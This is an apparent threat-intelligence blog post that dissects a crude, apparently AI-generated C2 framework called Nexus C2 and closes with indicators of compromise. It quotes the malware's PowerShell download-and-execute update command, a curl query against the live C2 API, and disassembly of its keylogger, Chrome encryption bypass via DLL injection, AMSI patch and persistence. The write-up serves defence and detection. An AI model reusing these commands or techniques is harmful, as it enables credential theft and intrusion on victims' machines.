Hunting New C2 Frameworks - Part 2 - Nexus C2, Shipped with Creds
A deep dive into a newly discovered C2 framework, Nexus C2 — its features, operational flaws, and the implications of AI-generated malware in the wild.
Introduction
Following on from Part 1, I continued my hunting for new and unknown C2 frameworks in the wild. In this blog I’ll be sharing some of the interesting findings from that hunt, including a deep dive into a previously unknown C2 framework I came across.
This one has very clearly been vibe coded, and also makes a number of OpSec blunders.
Nexus C2
My automated C2 scanner highlighted a new C2 panel found open to the internet, hosted on IP 192.253.248[.]13 from ASN Limited Network LTD (AS213790).

As per Part 1, I could not find any public information about this C2 panel or framework online. I took a deeper look into the panel’s frontend code, and again a bunch of features are leaked.
Infrastructure
| Property | Value |
|---|---|
| IP | 192.253.248[.]13 |
| ASN | 213790 — Limited Network LTD |
| Country | Singapore |
Panel Analysis
The following is derived entirely from the panel’s frontend JavaScript — no implant required.
Authentication
A basic username/password login with server-issued API keys. The key is stored in localStorage and sent as X-API-Key on every request. WebSocket auth passes it in the URL query string — meaning it appears in server access logs in plaintext.
const wsUrl = API.replace(/^https?/, wsProto) + '/ws/panel?api_key=' + APIKEY;
Two role tiers are present: Operator and Master (distributor). Master accounts unlock analytics, the full credential view, blacklist management, and broadcast capabilities. Role is determined server-side based on the API key.
document.getElementById('sb-analytics').style.display = ME.is_master ? '' : 'none';
document.getElementById('sb-creds').style.display = ME.is_master ? '' : 'none';
document.getElementById('sb-broadcast').style.display = ME.is_master ? '' : 'none';
Real-Time Communication
The panel uses WebSocket as the primary transport with HTTP polling as fallback, polling every 4 seconds. A keep-alive ping fires every 2.5 seconds.
wsPingInterval = setInterval(() => {
if (panelWs && panelWs.readyState === WebSocket.OPEN) {
panelWs.send(JSON.stringify({action: 'ping'}));
}
}, 2500);
Multiplayer operation is supported — multiple operators can interact with the same host simultaneously, with commands from other operators visible in the terminal view attributed by username.
} else if (action === 'command') {
// command sent by another operator (real-time multiplayer)
hist.push({
cmd_id: msg.cmd_id,
cmd: msg.command,
output: '',
issued_by: msg.issued_by // operator attribution
});
}
Host Management
Hosts are split into “Confirmed Live” and “Dead/Virustotal” tabs. The dead classification is applied to hosts unseen for over 48 hours, or hosts running specific OS versions considered higher-risk — likely analyst VMs or sandboxes:
function isHostDead(h) {
const now = Math.floor(Date.now() / 1000);
const twoDays = 2 * 86400;
const isOldHost = (now - h.last_seen) > twoDays;
const isDangerousOS = h.os &&
/Windows (7|10 Pro|10 Enterprise|Pro|Enterprise)/i.test(h.os);
return isOldHost || isDangerousOS;
}
This is a notable sandbox/analyst evasion signal — the panel operator is actively filtering out machines that are statistically more likely to be analysis environments.
Each host entry exposes: hostname, username, OS, IP, country (with geo breakdown), last-seen timestamp, and operator ownership (master only). Hosts can be aliased, pinned, and annotated with operator notes stored in localStorage.
Credential Harvesting
The panel aggregates credentials from multiple sources, filterable by browser, domain, and machine (feat classic vibe coded emojis):
const srcIcon = {
chrome: '🌐',
edge: '🌀',
firefox: '🦊',
discord: '💬',
minecraft: '⛏',
windows: '🪟',
chrome_cookies: '🍪',
edge_cookies: '🍪'
};
Cookies are stored separately from passwords and accessible via a dedicated tab, supporting session hijacking workflows.
Minecraft Integration
A notable differentiator: the panel has a dedicated Minecraft account lookup system integrated directly into the host table, querying the DonutSMP server. Unfortunately that’s about the limit of my knowledge on Minecraft.
function mcBadge(host) {
const meta = host.metadata;
if (!meta || !meta.minecraft || !meta.minecraft.username) return '';
const balTxt = cached
? (cached.balance !== null
? '$' + Number(cached.balance).toLocaleString()
: 'not on DonutSMP')
: 'loading…';
Payload Builder
An in-panel build system allows operators to compile basic customisation for implants without leaving the UI:
body: JSON.stringify({
name,
beacon_interval: interval, // 1–3600 seconds
obfuscate, // LLVM obfuscation passes
disable_antisandbox: nosandbox, // master-only option
signed // code signing
})
The disable_antisandbox option is gated to master accounts only, suggesting a distributor/affiliate model where sub-operators receive sandbox-aware builds by default. Completed builds are downloaded as ZIP archives containing client.exe and abe_helper.dll.
Remote Control Capabilities
The terminal tab exposes a full command palette:
| Category | Commands |
|---|---|
| Surveillance | .ss, .webcam, .screenrec, .keylog-start/dump/stop, .wifiaps |
| Credential theft | .grab browser/passwords/discord/minecraft/roblox/steam |
| Persistence | .persist-deep (UAC), .implode |
| Disruption | .bsod, .earrape, .cursor-trap, .desktop-flood, .fake-alert |
| Network | .proxy-start, .proxy-stop |
| Crypto theft | .start-clipper, .stop-clipper |
The clipboard hijacker (.start-clipper) is the primary monetisation mechanism — intercepting cryptocurrency wallet addresses during paste operations. The live stream tab implements real-time screen and audio capture over WebSocket:
if (buf[0] === 0x01) { // video frame (JPEG)
// decode and render to canvas
} else if (buf[0] === 0x02) { // audio (PCM 16-bit mono, 22050Hz)
// decode and play via WebAudio API
}
Update Mechanism
The panel can push client updates via a PowerShell one-liner:
function _updatePsCmd() {
return `.cmd powershell -WindowStyle Hidden -Command "` +
`$t=[System.IO.Path]::GetTempPath()+'nx_upd.exe';` +
`$a=[System.IO.Path]::GetTempPath()+'abe_helper.dll';` +
`try{iwr '${base}/download/client.exe' -OutFile $t;` +
`iwr '${base}/download/abe.dll' -OutFile $a;` +
`Start-Process $t}catch{}"`;
}
The abe_helper.dll companion artifact is downloaded alongside every update.
Leaked API Key
One hilarious blunder in the front UI source code is the inclusion of a hardcoded API key in the JavaScript. The API used by the framework is a basic FastAPI backend, easily queryable:
curl -k -X GET "https://192.253.248[.]13/api/activity" -H "x-api-key: REDACTED"

Payload Analysis
Pivoting on the C2 domain and IP, it was trivial to find samples of beacons on VirusTotal. Interestingly, the vast majority of the samples were uploaded by the same uploader — the upload pattern clearly shows the author testing beacons. The short gap between uploads indicates active development. At time of writing, there were 89 samples on Virus Total, a mix of beacons, stagers, and beacon updaters.

Ghidra Analysis
I grabbed one of the payloads and threw it into Ghidra for a quick look. There was no attempt at any real obfuscation and the code was fairly straightforward. The functions adhere to what was already visible in the panel UI.
Sample: 2d4609a6d82fed2e40443ae658ee470a4595c3bee392ac3640d533f56d194a6c — VirusTotal →
Binary Identity
| Property | Value |
|---|---|
| Format | PE64 (64-bit Windows Portable Executable) |
| Image base | 0x140000000 |
| PE sections | .text .data .rdata .pdata .xdata .bss .idata .CRT .tls .rsrc .reloc |
| Unique functions | ~1,283 |
| Embedded library | SQLite 3.47.0 (statically linked) |
| C2 domain | nexusc2.works |
| Malware family | Nexus RAT |
The name “Nexus” appears throughout the binary as a consistent brand: nexus-client/1.0, nexus-vnc/1.0, nexusc2.works, nexus_play, nx_upd_, nx_abe_, nx_persist_ok.
C2 Communication
- Transport: HTTPS upgraded to WebSocket via WinHTTP
- C2 host (hardcoded):
nexusc2.works - Port:
0x50(80 decimal, over TLS)
Two logical channels are established — a command channel and a dedicated VNC channel — each with its own user-agent and endpoint:
| Channel | User-agent | WebSocket endpoint |
|---|---|---|
| Command / beacon | nexus-client/1.0 | /ws/client?host_id=%s&operator_key=%s |
| VNC relay | nexus-vnc/1.0 | /ws/vnc/%s?role=client&operator_key=%s |
Additional HTTP endpoints:
| Endpoint | Purpose |
|---|---|
/api/docok | Heartbeat / registration confirmation |
/api/payload?op_key=%s | Operator-keyed payload/update download |
/api/vnc/frame/%hs | VNC frame HTTP fallback upload |
Beacon connection sequence (FUN_140017fc0)
The implant calls WinHttpOpen with the hardcoded user-agent, connects to nexusc2.works, opens the WebSocket upgrade request, and if the HTTP 101 handshake succeeds, enters the command receive loop:
; FUN_140017fc0 — primary C2 beacon connect
; Build URL: /ws/client?host_id=<id>&operator_key=REDACTED
140017ff4 LEA R8, ["/ws/client?host_id=%s&operator_k..."]
140017ffb MOV [RSP+local_848], RAX ; operator_key arg
; Open session with spoofed User-Agent
140018041 LEA RCX, [u"nexus-client/1.0"]
140018048 CALL WINHTTP.DLL::WinHttpOpen
; Connect to hardcoded C2 host on port 0x50 (80)
140018059 MOV RDX, RBP ; L"nexusc2.works"
14001805f MOV R8D, 0x50 ; port 80 (HTTPS)
140018068 CALL WINHTTP.DLL::WinHttpConnect
; Open the WebSocket upgrade request
1400180a3 CALL WINHTTP.DLL::WinHttpOpenRequest
; Send HTTP GET with Upgrade: websocket
1400180d4 CALL WINHTTP.DLL::WinHttpSendRequest
1400180e2 CALL WINHTTP.DLL::WinHttpReceiveResponse
; Complete the WebSocket upgrade (101 Switching Protocols)
1400180f0 CALL WINHTTP.DLL::WinHttpWebSocketCompleteUpgrade
1400180f5 TEST RAX, RAX
1400180f8 JNZ LAB_140017fa2 ; success → enter recv loop
; failure → close all handles and retry
The VNC channel (FUN_140018330) follows an identical pattern using nexus-vnc/1.0 and the /ws/vnc/ endpoint.
Operator Command Interface
Commands arrive as JSON over the WebSocket. The full set extracted from the .rdata section:
Surveillance
| Command | Implementation |
|---|---|
.keylog-start | Installs WH_KEYBOARD hook via SetWindowsHookExA |
.keylog-stop | Removes hook via UnhookWindowsHookEx |
.keylog-dump | Exfiltrates the keylog buffer over C2 |
.vnc | Starts screen streaming relay over WebSocket |
.vnc-control start|stop | Controls VNC relay thread |
.webcam | Captures webcam via capCreateCaptureWindowA |
.wifiaps | Enumerates nearby Wi-Fi APs via GetAdaptersInfo |
Credential theft
| Command | Behaviour |
|---|---|
.pwd.l | Triggers full credential harvest across all sources |
System control
| Command | Behaviour |
|---|---|
.persist | Installs scheduled task persistence |
.remove | Self-deletes the implant |
.update | Downloads and hot-swaps to a new agent binary |
.critical-enable / .critical-disable | Marks process as system-critical (prevents kill) |
Disruptive / troll
| Command | Behaviour |
|---|---|
.screen-rotate | Rotates display via ChangeDisplaySettingsA |
.color-invert | Inverts screen colours |
.cursor-trap | Cages cursor via ClipCursor |
.desktop-flood | Spawns windows flooding the desktop |
.earrape | Maxes volume + blasts audio via waveOutSetVolume / mciSendStringA |
.fake-alert | Displays fake system alert via MessageBoxA |
.meme-spam | Opens browser tabs: rickroll, Pepe, Drake, surprised Pikachu, etc. |
.volume | Sets system volume to specified level |
Keylogger
The keylogger runs as a dedicated thread using a low-level Windows keyboard hook.
Hook installation (FUN_140016e20)
; FUN_140016e20 — keylogger thread entry
; Install WH_KEYBOARD_LL hook (type 0xD = 13)
140016e28 MOV ECX, 0xd ; WH_KEYBOARD_LL
140016e33 LEA RDX, [LAB_140016700] ; hook callback proc
140016e3a CALL USER32.DLL::SetWindowsHookExA
140016e40 MOV [DAT_140130ce0], RAX ; save hook handle
; Standard Win32 message pump to keep hook alive
140016e55 MOV RSI, [->USER32.DLL::GetMessageA]
140016e61 MOV RBP, [->USER32.DLL::TranslateMessage]
140016e68 MOV RDI, [->USER32.DLL::DispatchMessageA]
LAB_140016e78:
140016e7b CALL RBP ; TranslateMessage
140016e80 CALL RDI ; DispatchMessageA
140016e97 CALL RSI ; GetMessageA (blocks)
140016e9b JNZ LAB_140016e78 ; loop until stop signal
; Cleanup
140016ea9 CALL USER32.DLL::UnhookWindowsHookEx
140016eaf MOV [DAT_140130ce0], 0x0 ; clear hook handle
Key translation in callback (LAB_140016700)
The hook callback captures each keypress, resolves the virtual key code to an ASCII character, then appends it to the exfil buffer:
; Inside WH_KEYBOARD_LL callback
140016add CALL USER32.DLL::GetKeyboardState ; snapshot all key states
140016ae3 MOV EDX, [RDI+0x4] ; vkCode from KBDLLHOOKSTRUCT
140016aeb LEA R9, [RSP+0x38] ; output char buffer
140016b01 CALL USER32.DLL::ToAscii ; translate vKey → ASCII
140016b07 CMP EAX, 0x1 ; one char produced?
140016b0a JZ LAB_140016b88 ; yes → append to log buffer
140016b0c CMP EBP, 0x2e ; special key range check
140016b0f JA LAB_140016d68 ; handle specials (Enter, Tab, etc.)
The captured text is accumulated in a heap buffer and transmitted on .keylog-dump or periodically via the WebSocket.
Credential Theft
Chrome — standard DPAPI path
; FUN_14000e080 — Chrome credential harvester
; Locate: %LOCALAPPDATA%\Google\Chrome\User Data\Default\Cookies
14000e0da LEA RAX, ["User Data\\Default\\Cookies"]
14000e1a9 LEA RDX, ["SELECT name,encrypted_value FROM cookies WHERE ..."]
; → sqlite3_prepare / sqlite3_step / sqlite3_column_blob
; Decryption key from Local State JSON
140010188 LEA param_2, ["encrypted_key"] ; standard DPAPI key
1400103af LEA param_2, ["app_bound_encrypted_key"] ; Chrome 127+ ABE key
140010021 CALL CRYPT32.DLL::CryptUnprotectData ; DPAPI decrypt
Chrome — App-Bound Encryption (ABE) bypass
Chrome 127 introduced App-Bound Encryption, binding the decryption key to Chrome’s process identity via a COM/IElevator interface. Nexus bypasses this by dropping a helper DLL and injecting it into a Chrome renderer process, which already holds the necessary privileges.
; FUN_140010280 — ABE bypass via helper DLL injection
; 1. Get temp path and generate unique DLL name
140010666 CALL KERNEL32.DLL::GetTempPathA
140010670 CALL KERNEL32.DLL::GetTickCount ; seed for unique name
140010685 LEA R8, ["%s\\nx_abe_%08lx.dll"] ; e.g. C:\Temp\nx_abe_3F8A12B4.dll
; 2. Write embedded DLL resource to disk
1400106a8 MOV param_2, 0x40000000 ; GENERIC_WRITE
1400106bd CALL KERNEL32.DLL::CreateFileA
1400106ee CALL KERNEL32.DLL::WriteFile ; write DLL bytes from resource
; 3. Rename to abe_helper.dll in Chrome's directory
140010749 MOV RDI, 0x706c65685f656261 ; "abe_hel" (little-endian)
140010753 MOV [RAX+0x1], RDI ; patch filename in-place
; 4. Inject into Chrome renderer via NT-native injection
140011269 LEA R8, ["inject_dll_nt failed pid=%lu err=%lu"]
; inject_dll_nt: NtWriteVirtualMemory + NtCreateThreadEx via ntdll.dll
; 5. ABE decrypt using BCrypt AES-256-GCM
14000e61b LEA R8, [u"ChainingModeGCM"]
14000e622 CALL BCRYPT.DLL::BCryptOpenAlgorithmProvider
CALL BCRYPT.DLL::BCryptSetProperty ; set ChainingModeGCM
CALL BCRYPT.DLL::BCryptGenerateSymmetricKey
14000e71a CALL BCRYPT.DLL::BCryptDecrypt ; decrypt app_bound_encrypted_key
Result logged as [keys: dpapi=<val> abe=ok(<val>) key=...] on success, or [keys: dpapi=<val> abe=FAIL: <reason>] on failure.
Firefox
Firefox credentials are decrypted by dynamically loading nss3.dll from the Firefox installation directory and calling its internal decrypt routines directly:
; FUN_14000f050 — Firefox credential decryption
; Locate NSS3 and resolve decrypt functions
14000f411 LEA param_2, ["PK11_GetInternalKeySlot"]
14000f422 LEA param_2, ["PK11_CheckUserPassword"]
14000f433 LEA param_2, ["PK11SDR_Decrypt"]
; GetProcAddress on nss3.dll for each, then call to decrypt logins.json entries
; Targets: key4.db, key3.db, logins.json, profiles.ini
; Cookie DB also queried via embedded SQLite
Other sources
| Source | Method |
|---|---|
| Windows Credential Manager | CredEnumerateA — dumps all stored generic/domain credentials |
| Discord | Reads token from %APPDATA%\discord\ — placed in extra: {"token": ...} |
| Steam | Parses %ProgramFiles%\Steam\config\loginusers.vdf |
| Minecraft | Reads launcher_accounts.json + launcher_profiles.json |
| Roblox | Extracts .ROBLOSECURITY session cookie |
Screen Capture / VNC
Two capture paths exist depending on whether the operator requests a snapshot or a live stream.
Full-resolution capture
; FUN_140005b50 — screenshot to BMP
140005b72 CALL USER32.DLL::GetDC ; get screen DC (NULL = desktop)
140005b7e CALL GDI32.DLL::CreateCompatibleDC ; create memory DC
140005b98 CALL GDI32.DLL::CreateCompatibleBitmap ; allocate bitmap (w × h)
140005bbc CALL GDI32.DLL::SelectObject ; select bitmap into memory DC
; BitBlt: SRCCOPY (0x40CC0020) from screen into memory DC
140005bd1 MOV dword ptr [RSP+local_b8], 0x40cc0020
140005bf1 CALL GDI32.DLL::BitBlt
; Extract raw pixel data
140005c57 CALL MSVCRT.DLL::malloc ; allocate pixel buffer
140005c8e CALL GDI32.DLL::GetDIBits ; copy pixels into buffer
; → base64-encode → send via WinHttpWebSocketSend
For live VNC streaming, a second path uses StretchBlt + SetStretchBltMode to downsample the frame before transmission, reducing bandwidth on the WebSocket channel.
Persistence
; FUN_140008ef0 — persistence installer
; Build schtasks command string
14000956c LEA R8, ["schtasks /create /tn \"%s\" /tr \"\\\"%s\\\"\""]
; %s[0] = "winSync1" or "winSync2"
; %s[1] = binary path (%APPDATA%\Microsoft\Windows\notpad.exe)
; Execute via system() / CreateProcessA
140009578 CALL FUN_1400070c0 ; sprintf + system()
; Also install as a Windows service
14000958f CALL ADVAPI32.DLL::OpenSCManagerA
1400095a1 ; (XOR-obfuscated service name, key 0xED — decoded at runtime)
The service name string is obfuscated using a single-byte XOR with key 0xED, decrypted inline immediately before use. The routine iterates over each byte of the encrypted string, XORing it against 0xED until the end of the buffer is reached. I do find it hilarious that the service name is obfuscated, while many other strings like the API secret are not.
; Inline XOR decryption of obfuscated strings (key = 0xED)
1400095e0 XOR byte ptr [RAX], 0xed
1400095e3 ADD RAX, 0x1
1400095e7 CMP RDX, RAX
1400095ea JNZ LAB_1400095e0 ; loop over each byte
Binary staging locations:
| Path | Purpose |
|---|---|
%APPDATA%\Microsoft\Windows\notpad.exe | Primary persistent copy (deliberate notepad misspelling) |
%TEMP%\WindowsUpdate.exe | Staging path used during install |
%TEMP%\nx_upd_<timestamp>.exe | Update staging executable |
A marker file \nx_persist_ok is written after successful installation. A COM-based UAC bypass is also attempted via Software\Classes\*\shellex\ContextMenuHandlers, executing the binary with Explorer’s elevated context on next shell interaction. If elevation fails, the string elevation failed is logged back to the C2.
Self-Update
; FUN_140016240 — update handler
; 1. Download update zip from C2
14001628f LEA R8, ["%s\\nx_upd_%llu.exe"]
140016455 LEA R8, ["%s\\nx_update_%llu.zip"]
; GET /api/payload?op_key=<key> → write zip to %TEMP%
; 2. Extract zip contents to %TEMP%\nx_update_<id>\
140016482 LEA R8, ["%s\\nx_update_%llu"]
; 3. CreateProcessA on new binary, WaitForSingleObject, TerminateProcess self
Anti-Analysis & Evasion
Debugger detection
The implant resolves IsDebuggerPresent dynamically (rather than calling it directly):
; FUN_140017300 — environment check
; Resolve IsDebuggerPresent at runtime to avoid static import flag
1400173d4 LEA RCX, ["kernel32"]
1400173db CALL KERNEL32.DLL::GetModuleHandleA
1400173e9 LEA RDX, ["IsDebuggerPresent"]
1400173f0 CALL KERNEL32.DLL::GetProcAddress
1400173fb CALL RAX ; call resolved pointer
1400173fd TEST EAX, EAX
1400173ff JNZ LAB_1400178f3 ; debugger present → exit / deceive
Process enumeration
CreateToolhelp32Snapshot + Process32First / Process32Next iterates all running processes. Names are loaded into XMM registers using PUNPCKLQDQ for efficient two-at-a-time comparison:
; Load pairs of tool process names into XMM regs for fast comparison
14001741f MOVQ XMM1, RAX ; "windbg.exe"
14001741f MOVQ XMM0, RSI ; "ollydbg.exe"
14001742b PUNPCKLQDQ XMM0, XMM1 ; pack two names per register
14001743b MOVUPS [RSP+0x60], XMM0 ; store to comparison array
; Blocked tools:
; ollydbg.exe, windbg.exe, idaq.exe, idaq64.exe, x64dbg.exe, x32dbg.exe
; radare2.exe, gdb.exe, wireshark.exe, procmon.exe, apitrace.exe, vxcube.exe
; Iterate process list
140017496 CALL KERNEL32.DLL::CreateToolhelp32Snapshot
1400174d3 CALL KERNEL32.DLL::Process32First
LAB_140017500:
140017506 CALL MSVCRT.DLL::_stricmp ; case-insensitive name compare
14001750a JZ LAB_140017900 ; match → abort/exit
14001751f CALL KERNEL32.DLL::Process32Next
140017524 JNZ LAB_1400174f3 ; continue until end of list
VM / sandbox detection
File-system artefact checks for known sandbox environments, followed by a service registry check for VMware’s VMCI driver:
; Directory / file existence checks
140017418 LEA RCX, ["C:\\Program Files\\qemu"] ; QEMU
140017714 LEA RDI, ["C:\\vxcube"] ; VxCube sandbox
140017458 LEA RAX, ["C:\\analysis"] ; generic malware lab
140017467 LEA RAX, ["C:\\malware"]
14001746c LEA RAX, ["C:\\samples"]
; Each path tested with GetFileAttributesA — nonexistent → abort
; Bochs CPUID brand check
140017910 LEA RDX, ["Bochs"]
; VMware: check for VMCI service registry key
1400fe3c0 ds "SYSTEM\\CurrentControlSet\\services\\vmci"
String obfuscation
Sensitive strings (service names, encoded payloads) are XOR-obfuscated with key 0xED and decoded inline at first use, keeping them out of plain-text string searches.
AMSI bypass
; FUN_14000b4f0 — AMSI patch
14000b3a0 LEA RCX, ["clr.dll"]
14000b4a0 LEA RCX, ["mscoree.dll"]
14000b533 ; loads "amsi.dlltitle=\"" — window-title side-channel technique
; patches AmsiScanBuffer return value in-process before .NET payload execution
DLL Injection
A custom inject_dll_nt function performs NT-native DLL injection, bypassing CreateRemoteThread (which is heavily monitored), using ntdll.dll routines resolved at runtime:
; Injection failure log string reveals function name
140011269 LEA R8, ["inject_dll_nt failed pid=%lu err=%lu"]
140011280 LEA R8, ["injected pid=%lu, polling..."]
; Runtime resolution of ntdll internals
14000c977 LEA RCX, ["ntdll.dll"]
14000c97e CALL KERNEL32.DLL::GetModuleHandleA
; → GetProcAddress for NtWriteVirtualMemory, NtCreateThreadEx, etc.
Primary use case is injecting nx_abe_<pid>.dll into a Chrome renderer for the ABE bypass, but the same mechanism is available for DLL injection via the .update / payload path.
Hardcoded Secret Key — Again
The implant contained a hardcoded operator secret in several places within the code, used for C2 authentication. Once again there was no attempt to encrypt or obfuscate the key — another indication of the script-kiddie nature of the author and a likely symptom of vibe coding.

A C2 Community
The C2 panel links to a Telegram channel (t.me/nexusc2v1) which also includes a link to a Discord server.

The Discord server has 465 members but does not appear to be very active. There is little attempt to hide or mask the intentions of the server, or the C2.

C2 Infections
Using OSINT techniques, I was able to find evidence of at least 287 unique hosts that had checked into the C2 infrastructure at some point. It’s not clear how many of these were operator test hosts.
It’s surprising how brazen the author is — both in terms of intent and in allowing anyone to join their public support channels. These check-ins were distributed across 20 countries, with the majority in Russia, the US, and Singapore:
| Country | % |
|---|---|
| Russia (RU) | 59.6% |
| United States (US) | 15.7% |
| Singapore (SG) | 13.2% |
| United Kingdom (GB) | 2.1% |
| Spain (ES) | 1.7% |
| Netherlands (NL) | 0.7% |
| Pakistan (PK) | 0.7% |
| Germany (DE) | 0.7% |
| Canada (CA) | 0.7% |
| + 12 others | 7.7% |
There were 8 different operators identified, the majority operating only on a handful of hosts. Most had not been active since 28 April 2026, with activity concentrated between 22–28 April. Two exceptions were last seen active on 5 May and 9 May respectively.
Nine operator IPs were recorded. The majority originate from Russia and/or use proxy/VPN services:
| IP | ASN | Organisation | Location |
|---|---|---|---|
185.93.40[.]66 | AS35526 | Smart Technology LLC | Saint Petersburg, Russia |
149.88.106[.]54 | AS212238 | Datacamp Limited | Singapore |
72.153.230[.]168 | AS8075 | Microsoft Azure (ProxyAM) | San Jose, US |
74.179.70[.]65 | AS8075 | Microsoft Azure (ProxyAM) | Moses Lake, US |
149.88.106[.]57 | AS212238 | Datacamp Limited | Singapore |
213.33.190[.]93 | AS3216 | PJSC Vimpelcom (Beeline) | Shchëkino, Russia |
194.154.78[.]178 | AS3216 | PJSC Vimpelcom (Beeline) | Uzlovaya, Russia |
195.239.51[.]93 | AS3216 | PJSC Vimpelcom (Beeline) | Moscow, Russia |
79.104.209[.]30 | AS3216 | PJSC Vimpelcom (Beeline) | Shchëkino, Russia |
Conclusion
It was inevitable that AI and code-generative LLM models would lead to the creation of new C2 frameworks, reducing the barrier to entry for would-be malware authors and increasing the volume of unknown commodity malware in the wild. The inclusion of trolling and game theft-related features indicates a young demographic of both the authors, operators, and targets. There is still genuine malicious intent in the implants — credential theft, file stealing, VNC, and screen capture are all common features in real-world infostealers. One surprising aspect of this case was the number of seemingly legitimate victims hit. For a framework with so many operational flaws, that hit rate was unexpected.
A reminder that all C2s being tracked can be viewed in C2 Hunter, which is updated in real-time as new C2s are discovered. IOCs are also pushed to GitHub..
I’m sure this will be just one of many AI-generated C2 frameworks to emerge. Until next time.
Indicators of Compromise
Network
| Type | Value |
|---|---|
| C2 domain | nexusc2[.]works |
| Telegram | t[.]me/nexusc2v1 |
| Wiki | wiki.nexusc2[.]works |
| C2 panel IP | 192.253.248[.]13 |
| Hosting IP | 38.127.8[.]151:8084, 192.253.248[.]13 |
| WebSocket pattern | /ws/client?host_id=*&operator_key=* |
| User-Agent | nexus-client/1.0 |
| User-Agent | nexus-vnc/1.0 |
Operator IPs
| IP | ASN | Organisation | Location |
|---|---|---|---|
185.93.40[.]66 | AS35526 | Smart Technology LLC | Saint Petersburg, Russia |
149.88.106[.]54 | AS212238 | Datacamp Limited | Singapore |
72.153.230[.]168 | AS8075 | Microsoft Azure (ProxyAM) | San Jose, US |
74.179.70[.]65 | AS8075 | Microsoft Azure (ProxyAM) | Moses Lake, US |
149.88.106[.]57 | AS212238 | Datacamp Limited | Singapore |
213.33.190[.]93 | AS3216 | PJSC Vimpelcom (Beeline) | Shchëkino, Russia |
194.154.78[.]178 | AS3216 | PJSC Vimpelcom (Beeline) | Uzlovaya, Russia |
195.239.51[.]93 | AS3216 | PJSC Vimpelcom (Beeline) | Moscow, Russia |
79.104.209[.]30 | AS3216 | PJSC Vimpelcom (Beeline) | Shchëkino, Russia |
Sample
| Type | Value |
|---|---|
| SHA256 | 2d4609a6d82fed2e40443ae658ee470a4595c3bee392ac3640d533f56d194a6c |
| Implant | client.exe |
| Companion DLL | abe_helper.dll / abe.dll |
| Download paths | /download/client.exe, /download/abe.dll |
Filesystem
%APPDATA%\Microsoft\Windows\notpad.exe
%TEMP%\nx_abe_[8 hex chars].dll
%TEMP%\nx_upd_[timestamp].exe
%TEMP%\nx_update_[timestamp].zip
%APPDATA%\...\nx_persist_ok
Scheduled tasks / registry
winSync1
winSync2
Software\Classes\*\shellex\ContextMenuHandlers\[random]